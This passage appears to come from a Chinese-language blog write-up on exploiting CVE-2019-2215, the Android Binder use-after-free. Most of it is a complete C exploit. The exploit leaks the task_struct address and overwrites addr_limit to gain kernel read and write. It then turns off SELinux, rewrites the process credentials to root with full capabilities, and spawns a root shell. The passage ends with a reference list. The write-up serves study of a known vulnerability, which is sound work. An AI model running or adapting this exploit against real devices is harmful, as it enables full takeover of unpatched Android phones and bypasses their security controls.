write(socks[1], rewrite_data, sizeof(rewrite_data)); // rewrite step
pthread_exit(NULL);
}


int main(){
dummy_page_4g_aligned = mmap((void*)0x100000000, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
// prepare
struct epoll_event event = { .events = EPOLLIN };
binder_fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);


// 1. leak
epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event);

// an approach to exploit the uaf
struct iovec iovec_array[IOVEC_NUM];
temp_buffer = malloc(0x1000);

memset(iovec_array, 0x0, sizeof(iovec_array));
memset(temp_buffer, 0x0, 0x1000);

iovec_array[10].iov_base = dummy_page_4g_aligned;
iovec_array[10].iov_len = 0x1000;
iovec_array[11].iov_base = dummy_page_4g_aligned+0x1000;
iovec_array[11].iov_len = 0x1000;

pipe(pipe_fd);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000); // an approach to stuck in writev

// operate in parallel, to trigger writev continue execute
pthread_t thr1;
pthread_create(&thr1, NULL, trigger_list_del, NULL);

// free binder_thread, produce a dangling heap
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
// get the uaf heap, and set in child thread
int b = writev(pipe_fd[1], iovec_array, IOVEC_NUM);
printf("writev: already write 0x%x bytes\n",b);
// read the leaked information
read(pipe_fd[0], temp_buffer, 0x1000);
// hexdump(temp_buffer, 0x1000);
task_struct_addr = *(unsigned long *)(temp_buffer+0xe8);
printf("current task_struct addr: 0x%lx\n",task_struct_addr);

pthread_join(thr1,NULL);

sleep(1);

// 2. aaw
epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event);
// socket related
socketpair(AF_UNIX, SOCK_STREAM, 0, socks);
// iovec related
memset(iovec_array, 0x0, sizeof(iovec_array));
iovec_array[10].iov_base = dummy_page_4g_aligned; // 1. for lock
iovec_array[10].iov_len = 1; // 2. rewrite from here, write 0x28 bytes
iovec_array[11].iov_base = dummy_page_4g_aligned+0x1000; // will become &iovec_array[10].iov_len
iovec_array[11].iov_len = 0x28;
iovec_array[12].iov_base = dummy_page_4g_aligned+0x2000; // 3. become addr_limit_addr
iovec_array[12].iov_len = 8;
struct msghdr msg={
.msg_iov = iovec_array,
.msg_iovlen = IOVEC_NUM
};

write(socks[1], "a", 1); // the lock addr
// new thread
pthread_t thr2;
pthread_create(&thr2, NULL, write_sth, NULL);

ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
recvmsg(socks[0], &msg, MSG_WAITALL);

pthread_join(thr2, NULL);

printf("end\n");
sleep(10);
printf("exit\n");

return 0;
}

调试查看确认正确写好addr_limit:

image-20231120022355780

完成提权

最后,利用pipe封装任意地址读写原语,写掉selinux和cred,完成提权。

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <ctype.h>
#include <sys/uio.h>
#include <err.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sched.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#include <sys/types.h>

#define BINDER_THREAD_EXIT 0x40046208

#define IOVEC_NUM 20

int binder_fd, epfd;
int pipe_fd[2];
char* temp_buffer;

void *dummy_page_4g_aligned;
unsigned long task_struct_addr;
int socks[2];
int rw_pipe[2];


void* trigger_list_del(void* arg){
struct epoll_event event = { .events = EPOLLIN };
sleep(2); // waiting the free and occupy
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); // ***
read(pipe_fd[0], temp_buffer, 0x1000); // let writev continue execute
pthread_exit(NULL);
}


void* write_sth(void* arg){
struct epoll_event event = { .events = EPOLLIN };
unsigned long rewrite_data[] = {
1,
0xdeadbeef,
0x28,
task_struct_addr+0x8,
0x8,
0xfffffffffffffffe
};
sleep(2); // waiting the free and occupy
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); // *** list_del
write(socks[1], rewrite_data, sizeof(rewrite_data)); // rewrite step
pthread_exit(NULL);
}


void read_kernel(char* k_addr, char* u_addr){
int pipe_fd[2];
pipe(pipe_fd);
write(pipe_fd[1],(void*)k_addr,0x8);
read(pipe_fd[0],(void*)u_addr,0x8);
}

void write_kernel(char* k_addr, char* u_addr){
int pipe_fd[2];
pipe(pipe_fd);
write(pipe_fd[1],(void*)u_addr,0x8);
read(pipe_fd[0],(void*)k_addr,0x8);
}

void write_kernel4(char* k_addr, char* u_addr){
int pipe_fd[2];
pipe(pipe_fd);
write(pipe_fd[1],(void*)u_addr,0x4);
read(pipe_fd[0],(void*)k_addr,0x4);
}


void leak_addr(){
struct epoll_event event = { .events = EPOLLIN };
epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event);

struct iovec iovec_array[IOVEC_NUM];
memset(iovec_array, 0x0, sizeof(iovec_array));

temp_buffer = malloc(0x1000);
memset(temp_buffer, 0x0, 0x1000);

iovec_array[10].iov_base = dummy_page_4g_aligned;
iovec_array[10].iov_len = 0x1000;
iovec_array[11].iov_base = 0xdeadbeef;
iovec_array[11].iov_len = 0x1000;

if(pipe(pipe_fd)) err(1,"pipe");
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000); // an approach to stuck in writev

// operate in parallel, to trigger writev continue execute
pthread_t thr1;
pthread_create(&thr1, NULL, trigger_list_del, NULL);

// free binder_thread, produce a dangling heap
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
// get the uaf heap, and set in child thread
int b = writev(pipe_fd[1], iovec_array, IOVEC_NUM);
printf("writev: already write 0x%x bytes\n",b);
// read the leaked information
read(pipe_fd[0], temp_buffer, 0x1000);

task_struct_addr = *(unsigned long *)(temp_buffer+0xe8);
printf("current task_struct addr: 0x%lx\n",task_struct_addr);

pthread_join(thr1,NULL);
}


void write_addr_limit(){
struct epoll_event event = { .events = EPOLLIN };
epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event);
// socket related
socketpair(AF_UNIX, SOCK_STREAM, 0, socks);
// iovec related
struct iovec iovec_array[IOVEC_NUM];
memset(iovec_array, 0x0, sizeof(iovec_array));
memset(iovec_array, 0x0, sizeof(iovec_array));
iovec_array[10].iov_base = dummy_page_4g_aligned; // 1. for lock
iovec_array[10].iov_len = 1; // 2. rewrite from here, write 0x28
iovec_array[11].iov_base = dummy_page_4g_aligned+0x1000; // will become &iovec_array[10].iov_len
iovec_array[11].iov_len = 0x28;
iovec_array[12].iov_base = dummy_page_4g_aligned+0x2000; // 3. become addr_limit_addr
iovec_array[12].iov_len = 8;
struct msghdr msg={
.msg_iov = iovec_array,
.msg_iovlen = IOVEC_NUM
};

write(socks[1], "a", 1); // for the lock addr

pthread_t thr2;
pthread_create(&thr2, NULL, write_sth, NULL);

ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
recvmsg(socks[0], &msg, MSG_WAITALL);

pthread_join(thr2, NULL);
}


int main(){
dummy_page_4g_aligned = mmap((void*)0x100000000, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
// prepare
binder_fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
// leak
leak_addr();
sleep(1);
// write addr_limit
write_addr_limit();
sleep(1);
// pipe aar & aaw
pipe(rw_pipe);
// turn off selinux
unsigned long selinux_enforcing_addr = 0xFFFFFF8008FFAE70;
unsigned long u_addr = 0x0;
write_kernel((char*)selinux_enforcing_addr, (char*)&u_addr);
// write cred
unsigned long cred_offset = task_struct_addr + 0x718;
unsigned long cred_addr = 0;
read_kernel((char*)cred_offset, (char*)&cred_addr);
printf("cred addr: 0x%lx\n", cred_addr);

int root_id = 0;
write_kernel4((char*)(cred_addr+4), (char*)&root_id);
write_kernel4((char*)(cred_addr+8), (char*)&root_id);
write_kernel4((char*)(cred_addr+12), (char*)&root_id);
write_kernel4((char*)(cred_addr+16), (char*)&root_id);
write_kernel4((char*)(cred_addr+20), (char*)&root_id);
write_kernel4((char*)(cred_addr+24), (char*)&root_id);
write_kernel4((char*)(cred_addr+28), (char*)&root_id);
write_kernel4((char*)(cred_addr+32), (char*)&root_id);

unsigned long root_cap = 0xffffffffffffffff;
write_kernel((char*)cred_addr+0x28, (char*)&root_cap);
write_kernel((char*)cred_addr+0x30, (char*)&root_cap);
write_kernel((char*)cred_addr+0x38, (char*)&root_cap);
write_kernel((char*)cred_addr+0x40, (char*)&root_cap);
write_kernel((char*)cred_addr+0x48, (char*)&root_cap);

system("/system/bin/sh");

printf("exit...should never be there\n");

return 0;
}

成功拿到 root shell:

image-20231120022508329

参考文章

Android Kernel Exploitation

P0 - Bad Binder: Android In-The-Wild Exploit

P0 - CVE-2019-2215: Android use-after-free in Binder

Malicious app exploiting CVE-2019-2215 zero-day available in Google Play since March

CVE-2019-2215—android内核binder漏洞分析(2)

【操作系统】I/O 多路复用,select / poll / epoll 详解

IO多路复用与epoll原理探究

Linux下的I/O复用与epoll详解